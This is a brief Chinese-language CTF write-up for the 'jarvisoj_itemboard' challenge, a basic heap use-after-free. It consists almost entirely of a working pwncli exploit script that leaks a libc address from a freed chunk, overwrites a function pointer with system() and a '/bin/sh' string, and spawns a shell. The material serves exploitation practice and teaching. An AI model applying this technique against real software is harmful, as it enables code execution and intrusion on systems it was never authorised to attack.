jarvisoj_itemboard

jarvisoj_itemboard

总结

基础的UAF的题，只记录下exp吧。

Exp

from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def new(name, length, desc):
    p.sendlineafter("choose:", "1")
    p.sendlineafter("Item name?\n", name)
    p.sendlineafter("Description's len?\n", str(length))
    p.sendlineafter("Description?\n", desc)


def show(idx):
    p.sendlineafter("choose:", "3")
    p.sendlineafter("Which item?\n", str(idx))
    return p.recvlines(3)

def remove(idx):
    p.sendlineafter("choose:", "4")
    p.sendlineafter("Which item?\n", str(idx))

new("lynne", 0x80, "lynne")
new("lynne", 0x20, "lynne")
remove(0)

_, _1, leak_addr = show(0)
libc_base_addr = u64(leak_addr[-6:].ljust(8, b"\x00")) - 0x3c4b78

remove(1)

new("aaaaa", 0x18, b"/bin/sh;" + b"a" * 8 + p64(libc_base_addr + libc.sym['system'])[:-1])

remove(0)

p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli